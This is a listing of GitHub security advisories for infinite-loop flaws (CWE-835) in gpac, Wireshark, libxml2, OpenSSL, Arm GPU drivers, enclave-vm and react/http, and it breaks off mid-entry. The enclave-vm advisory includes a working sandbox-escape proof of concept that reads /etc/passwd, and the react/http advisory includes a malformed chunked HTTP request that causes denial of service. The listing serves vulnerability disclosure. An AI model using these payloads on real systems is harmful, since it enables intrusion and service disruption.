CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1189 vulnerabilities reference this CWE, most recent first.
GHSA-WWXC-Q95Q-9VH6
Vulnerability from github – Published: 2021-12-22 00:00 – Updated: 2021-12-28 00:01An infinite loop vulnerability exists in gpac 1.1.0 in the gf_log function, which causes a Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2021-44924"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-21T21:15:00Z",
"severity": "MODERATE"
},
"details": "An infinite loop vulnerability exists in gpac 1.1.0 in the gf_log function, which causes a Denial of Service.",
"id": "GHSA-wwxc-q95q-9vh6",
"modified": "2021-12-28T00:01:05Z",
"published": "2021-12-22T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44924"
},
{
"type": "WEB",
"url": "https://github.com/gpac/gpac/issues/1959"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WX33-XP59-J4CH
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-12-21 15:30A flaw was found in PDFResurrect in version 0.22b. There is an infinite loop in get_xref_linear_skipped() in pdf.c via a crafted PDF file.
{
"affected": [],
"aliases": [
"CVE-2021-3508"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-28T14:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in PDFResurrect in version 0.22b. There is an infinite loop in get_xref_linear_skipped() in pdf.c via a crafted PDF file.",
"id": "GHSA-wx33-xp59-j4ch",
"modified": "2022-12-21T15:30:16Z",
"published": "2022-05-24T17:49:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3508"
},
{
"type": "WEB",
"url": "https://github.com/enferex/pdfresurrect/issues/17"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1951198"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXR6-PC3H-29GG
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2025-04-20 03:36In Wireshark 2.2.0 to 2.2.5 and 2.0.0 to 2.0.11, the WSP dissector could go into an infinite loop, triggered by packet injection or a malformed capture file. This was addressed in epan/dissectors/packet-wsp.c by adding a length check.
{
"affected": [],
"aliases": [
"CVE-2017-7748"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-12T23:59:00Z",
"severity": "HIGH"
},
"details": "In Wireshark 2.2.0 to 2.2.5 and 2.0.0 to 2.0.11, the WSP dissector could go into an infinite loop, triggered by packet injection or a malformed capture file. This was addressed in epan/dissectors/packet-wsp.c by adding a length check.",
"id": "GHSA-wxr6-pc3h-29gg",
"modified": "2025-04-20T03:36:01Z",
"published": "2022-05-13T01:47:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7748"
},
{
"type": "WEB",
"url": "https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=13581"
},
{
"type": "WEB",
"url": "https://code.wireshark.org/review/gitweb?p=wireshark.git%3Ba=commit%3Bh=f55cbcde2c8f74b652add4450b0592082eb6acff"
},
{
"type": "WEB",
"url": "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=commit;h=f55cbcde2c8f74b652add4450b0592082eb6acff"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2017-21.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97628"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X2FM-93WW-GGVX
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2023-06-09 23:06parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16932"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-09T23:06:12Z",
"nvd_published_at": "2017-11-23T21:29:00Z",
"severity": "HIGH"
},
"details": "parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.",
"id": "GHSA-x2fm-93ww-ggvx",
"modified": "2023-06-09T23:06:12Z",
"published": "2022-05-13T01:02:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16932"
},
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/issues/1714"
},
{
"type": "WEB",
"url": "https://github.com/GNOME/libxml2/commit/899a5d9f0ed13b8e32449a08a361e0de127dd961"
},
{
"type": "WEB",
"url": "https://blog.clamav.net/2018/07/clamav-01001-has-been-released.html"
},
{
"type": "WEB",
"url": "https://bugzilla.gnome.org/show_bug.cgi?id=759579"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/nokogiri/CVE-2017-16932.yml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2017/11/msg00041.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/04/msg00004.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3739-1"
},
{
"type": "WEB",
"url": "http://xmlsoft.org/news.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nokogiri gem, via libxml, is affected by DoS vulnerabilities"
}
GHSA-X2MW-9W7G-6QH6
Vulnerability from github – Published: 2025-02-03 12:31 – Updated: 2025-02-03 18:30Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a non-privileged user process to make valid GPU memory processing operations, including via WebGL or WebGPU, to cause the whole system to become unresponsive.This issue affects Bifrost GPU Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0; Valhall GPU Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0; Arm 5th Gen GPU Architecture Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0.
{
"affected": [],
"aliases": [
"CVE-2024-6790"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-03T11:15:09Z",
"severity": "MODERATE"
},
"details": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027) vulnerability in Arm Ltd Bifrost GPU Kernel Driver, Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a non-privileged user process to make valid GPU memory processing operations, including via WebGL or WebGPU, to cause the whole system to become unresponsive.This issue affects Bifrost GPU Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0; Valhall GPU Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0; Arm 5th Gen GPU Architecture Kernel Driver: r44p1, from r46p0 through r49p0, from r50p0 through r51p0.",
"id": "GHSA-x2mw-9w7g-6qh6",
"modified": "2025-02-03T18:30:41Z",
"published": "2025-02-03T12:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6790"
},
{
"type": "WEB",
"url": "https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X39W-8VM5-5M3P
Vulnerability from github – Published: 2026-02-05 17:49 – Updated: 2026-02-07 00:31Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.
Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.
Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.
PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.
import { Enclave } from 'enclave-vm';
// Create enclave with a tool handler
const enclave = new Enclave({
timeout: 5000,
maxToolCalls: 10,
maxIterations: 1000,
toolHandler: async (toolName, args) => {
// Your tool execution logic
return { success: true, data: `Called ${toolName}` };
},
});
// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
a();
} catch (e) {
rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);
Impact
Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "enclave-vm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@enclave-vm/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25533"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T17:49:35Z",
"nvd_published_at": "2026-02-06T22:16:11Z",
"severity": "MODERATE"
},
"details": "**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`). \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from \u0027enclave-vm\u0027;\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n timeout: 5000,\n maxToolCalls: 10,\n maxIterations: 1000,\n toolHandler: async (toolName, args) =\u003e {\n // Your tool execution logic\n return { success: true, data: `Called ${toolName}` };\n },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =\u003e{\ntry {\n a();\n} catch (e) {\n rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]] \nrootProt[[\"foo\"]](\"let options = {file: \u0027cat\u0027, args: [null,\u0027/etc/passwd\u0027], envPairs: [], stdio: [{ type: \u0027pipe\u0027, readable: true, writable: false },{ type: \u0027pipe\u0027, readable: false, writable: true },{ type: \u0027pipe\u0027, readable: false, writable: true } ]}; console.log(process.binding(\u0027spawn_sync\u0027).spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.",
"id": "GHSA-x39w-8vm5-5m3p",
"modified": "2026-02-07T00:31:46Z",
"published": "2026-02-05T17:49:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25533"
},
{
"type": "WEB",
"url": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
},
{
"type": "PACKAGE",
"url": "https://github.com/agentfront/enclave"
},
{
"type": "WEB",
"url": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Sandbox escape via infinite recursion and error objects"
}
GHSA-X3MH-JVJW-3XWX
Vulnerability from github – Published: 2022-03-16 00:00 – Updated: 2024-06-24 21:24The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli. Internally this function is used when parsing certificates that contain elliptic curve public keys in compressed form or explicit elliptic curve parameters with a base point encoded in compressed form. It is possible to trigger the infinite loop by crafting a certificate that has invalid explicit curve parameters. Since certificate parsing happens prior to verification of the certificate signature, any process that parses an externally supplied certificate may thus be subject to a denial of service attack. The infinite loop can also be reached when parsing crafted private keys as they can contain explicit elliptic curve parameters. Thus vulnerable situations include: - TLS clients consuming server certificates - TLS servers consuming client certificates - Hosting providers taking certificates or private keys from customers - Certificate authorities parsing certification requests from subscribers - Anything else which parses ASN.1 elliptic curve parameters Also any other applications that use the BN_mod_sqrt() where the attacker can control the parameter values are vulnerable to this DoS issue. In the OpenSSL 1.0.2 version the public key is not parsed during initial parsing of the certificate which makes it slightly harder to trigger the infinite loop. However any operation which requires the public key from the certificate will trigger the infinite loop. In particular the attacker can use a self-signed certificate to trigger the loop during verification of the certificate signature. This issue affects OpenSSL versions 1.0.2, 1.1.1 and 3.0. It was addressed in the releases of 1.1.1n and 3.0.2 on the 15th March 2022. Fixed in OpenSSL 3.0.2 (Affected 3.0.0,3.0.1). Fixed in OpenSSL 1.1.1n (Affected 1.1.1-1.1.1m). Fixed in OpenSSL 1.0.2zd (Affected 1.0.2-1.0.2zc).
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "openssl-src"
},
"ranges": [
{
"events": [
{
"introduced": "300.0.0"
},
{
"fixed": "300.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "openssl-src"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "111.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0778"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-03T20:40:34Z",
"nvd_published_at": "2022-03-15T17:15:00Z",
"severity": "HIGH"
},
"details": "The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli. Internally this function is used when parsing certificates that contain elliptic curve public keys in compressed form or explicit elliptic curve parameters with a base point encoded in compressed form. It is possible to trigger the infinite loop by crafting a certificate that has invalid explicit curve parameters. Since certificate parsing happens prior to verification of the certificate signature, any process that parses an externally supplied certificate may thus be subject to a denial of service attack. The infinite loop can also be reached when parsing crafted private keys as they can contain explicit elliptic curve parameters. Thus vulnerable situations include: - TLS clients consuming server certificates - TLS servers consuming client certificates - Hosting providers taking certificates or private keys from customers - Certificate authorities parsing certification requests from subscribers - Anything else which parses ASN.1 elliptic curve parameters Also any other applications that use the BN_mod_sqrt() where the attacker can control the parameter values are vulnerable to this DoS issue. In the OpenSSL 1.0.2 version the public key is not parsed during initial parsing of the certificate which makes it slightly harder to trigger the infinite loop. However any operation which requires the public key from the certificate will trigger the infinite loop. In particular the attacker can use a self-signed certificate to trigger the loop during verification of the certificate signature. This issue affects OpenSSL versions 1.0.2, 1.1.1 and 3.0. It was addressed in the releases of 1.1.1n and 3.0.2 on the 15th March 2022. Fixed in OpenSSL 3.0.2 (Affected 3.0.0,3.0.1). Fixed in OpenSSL 1.1.1n (Affected 1.1.1-1.1.1m). Fixed in OpenSSL 1.0.2zd (Affected 1.0.2-1.0.2zc).",
"id": "GHSA-x3mh-jvjw-3xwx",
"modified": "2024-06-24T21:24:17Z",
"published": "2022-03-16T00:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0778"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2022-0014.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202210-02"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220321-0002"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220429-0005"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213255"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213256"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213257"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5103"
},
{
"type": "WEB",
"url": "https://www.openssl.org/news/secadv/20220315.txt"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2022-06"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2022-07"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2022-08"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2022-09"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0002"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/W6K3PR542DXWLEFFMFIDMME4CWMHJRMG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GDB3GQVJPXJE7X5C5JN6JAA4XUDWD6E6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/323SNN6ZX7PRJJWP2BUAFLPUAE42XWLZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W6K3PR542DXWLEFFMFIDMME4CWMHJRMG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GDB3GQVJPXJE7X5C5JN6JAA4XUDWD6E6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/323SNN6ZX7PRJJWP2BUAFLPUAE42XWLZ"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00024.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00023.html"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=a466912611aa6cbdf550cd10601390e587451246"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=380085481c64de749a6dd25cdf0bcf4360b30f83"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=3118eb64934499d93db3230748a452351d1d9a65"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=a466912611aa6cbdf550cd10601390e587451246"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=380085481c64de749a6dd25cdf0bcf4360b30f83"
},
{
"type": "WEB",
"url": "https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=3118eb64934499d93db3230748a452351d1d9a65"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-712929.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/167344/OpenSSL-1.0.2-1.1.1-3.0-BN_mod_sqrt-Infinite-Loop.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2022/May/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2022/May/35"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2022/May/38"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "openssl-src\u0027s infinite loop in `BN_mod_sqrt()` reachable when parsing certificates"
}
GHSA-X3VM-4X2Q-GCXM
Vulnerability from github – Published: 2022-01-13 00:01 – Updated: 2022-01-20 00:02Unisys ClearPath MCP TCP/IP Networking Services 59.1, 60.0, and 62.0 has an Infinite Loop.
{
"affected": [],
"aliases": [
"CVE-2021-45445"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-12T18:15:00Z",
"severity": "HIGH"
},
"details": "Unisys ClearPath MCP TCP/IP Networking Services 59.1, 60.0, and 62.0 has an Infinite Loop.",
"id": "GHSA-x3vm-4x2q-gcxm",
"modified": "2022-01-20T00:02:25Z",
"published": "2022-01-13T00:01:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45445"
},
{
"type": "WEB",
"url": "https://public.support.unisys.com/common/public/vulnerability/NVD_Detail_Rpt.aspx?ID=68"
},
{
"type": "WEB",
"url": "https://unisys.com"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X424-64QH-5J54
Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32Summary
A malformed HTTP message using Transfer-Encoding: chunked can drive React\Http\Io\ChunkedDecoder into an infinite loop, pegging a CPU core and freezing the event loop. Because ReactPHP is single-threaded, one such message stalls the entire process for every client until it is killed.
Both directions are affected. ChunkedDecoder decodes chunked request bodies for React\Http\HttpServer and chunked response bodies for React\Http\Browser, so a server can be attacked by a malicious client and a client can be attacked by a malicious or compromised server.
Details
ChunkedDecoder::handleData() loops while ($this->buffer !== '') and relies on the buffer shrinking each iteration. Two states leave the buffer unchanged while the loop condition stays true.
Terminal-chunk trailer. After the terminating 0 chunk, any remaining buffer is treated as trailer data to skip:
} elseif ($this->chunkSize === 0) {
$this->buffer = (string)\substr($this->buffer, $positionCrlf);
}
When the trailer holds no CRLF yet, strpos() returns false, PHP coerces that to 0 in substr(), and the buffer is never advanced. Neither the error guard (which requires a non-zero chunk size) nor the wait guard (which requires fewer than two bytes remaining) can fire, so the loop re-enters with identical state.
Off-by-one after a completed chunk. Once a non-terminal chunk has been fully transferred, the "chunk does not end with a CRLF" error guard requires strlen($this->buffer) > 2 while the wait guard requires < 2. Exactly two non-CRLF bytes slip past both, and because the chunk is already complete nothing is consumed on the next iteration.
PoC
Run the example server from the reactphp/reactphp README and send a malformed request. Note the missing trailing \r\n:
POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n0\r\nab
The PHP process pegs at 100% CPU and stops answering legitimate requests. A body of 1\r\nAAB triggers the second state.
The client side is reachable the same way: a Browser request to a server that answers with Transfer-Encoding: chunked and either malformed body shape hangs the client process.
Impact
Denial of service. The affected process stops responding entirely and has to be killed.
Servers behind a reverse proxy that parses and re-frames HTTP, such as a typical nginx setup, are not affected on the server side, because the proxy normalises the request before it reaches PHP. That mitigation does not extend to the client side: outbound requests made with Browser reach the remote server directly, so an application fetching attacker-influenced URLs is affected regardless of what sits in front of it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.11.0"
},
"package": {
"ecosystem": "Packagist",
"name": "react/http"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84997"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:32:39Z",
"nvd_published_at": "2026-09-16T15:18:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA malformed HTTP message using `Transfer-Encoding: chunked` can drive `React\\Http\\Io\\ChunkedDecoder` into an infinite loop, pegging a CPU core and freezing the event loop. Because ReactPHP is single-threaded, one such message stalls the entire process for every client until it is killed.\n\nBoth directions are affected. `ChunkedDecoder` decodes chunked **request** bodies for `React\\Http\\HttpServer` and chunked **response** bodies for `React\\Http\\Browser`, so a server can be attacked by a malicious client and a client can be attacked by a malicious or compromised server.\n\n### Details\n\n`ChunkedDecoder::handleData()` loops `while ($this-\u003ebuffer !== \u0027\u0027)` and relies on the buffer shrinking each iteration. Two states leave the buffer unchanged while the loop condition stays true.\n\n**Terminal-chunk trailer.** After the terminating `0` chunk, any remaining buffer is treated as trailer data to skip:\n\n```php\n} elseif ($this-\u003echunkSize === 0) {\n $this-\u003ebuffer = (string)\\substr($this-\u003ebuffer, $positionCrlf);\n}\n```\n\nWhen the trailer holds no CRLF yet, `strpos()` returns `false`, PHP coerces that to `0` in `substr()`, and the buffer is never advanced. Neither the error guard (which requires a non-zero chunk size) nor the wait guard (which requires fewer than two bytes remaining) can fire, so the loop re-enters with identical state.\n\n**Off-by-one after a completed chunk.** Once a non-terminal chunk has been fully transferred, the \"chunk does not end with a CRLF\" error guard requires `strlen($this-\u003ebuffer) \u003e 2` while the wait guard requires `\u003c 2`. Exactly two non-CRLF bytes slip past both, and because the chunk is already complete nothing is consumed on the next iteration.\n\n### PoC\n\nRun the example server from the `reactphp/reactphp` README and send a malformed request. Note the missing trailing `\\r\\n`:\n\n```\nPOST / HTTP/1.1\\r\\nHost: x\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\nab\n```\n\nThe PHP process pegs at 100% CPU and stops answering legitimate requests. A body of `1\\r\\nAAB` triggers the second state.\n\nThe client side is reachable the same way: a `Browser` request to a server that answers with `Transfer-Encoding: chunked` and either malformed body shape hangs the client process.\n\n### Impact\n\nDenial of service. The affected process stops responding entirely and has to be killed.\n\nServers behind a reverse proxy that parses and re-frames HTTP, such as a typical nginx setup, are not affected on the **server** side, because the proxy normalises the request before it reaches PHP. That mitigation does not extend to the **client** side: outbound requests made with `Browser` reach the remote server directly, so an application fetching attacker-influenced URLs is affected regardless of what sits in front of it.",
"id": "GHSA-x424-64qh-5j54",
"modified": "2026-09-17T20:32:39Z",
"published": "2026-09-17T20:32:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/reactphp/http/security/advisories/GHSA-x424-64qh-5j54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84997"
},
{
"type": "WEB",
"url": "https://github.com/reactphp/http/commit/b6d4688790adf3797071fcf88a3fc4225f30486a"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/react/http/CVE-2026-84997.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/reactphp/http"
},
{
"type": "WEB",
"url": "https://github.com/reactphp/http/releases/tag/v1.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "react/http: A malformed HTTP chunked body can lead to a denial-of-service and peg the CPU"
}
GHSA-X43J-M68C-2QXF
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2025-11-04 21:30TinyXML through 2.6.2 has an infinite loop in TiXmlParsingData::Stamp in tinyxmlparser.cpp via the TIXML_UTF_LEAD_0 case. It can be triggered by a crafted XML message and leads to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2021-42260"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-11T20:15:00Z",
"severity": "HIGH"
},
"details": "TinyXML through 2.6.2 has an infinite loop in TiXmlParsingData::Stamp in tinyxmlparser.cpp via the TIXML_UTF_LEAD_0 case. It can be triggered by a crafted XML message and leads to a denial of service.",
"id": "GHSA-x43j-m68c-2qxf",
"modified": "2025-11-04T21:30:26Z",
"published": "2022-05-24T19:17:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42260"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/04/msg00019.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00041.html"
},
{
"type": "WEB",
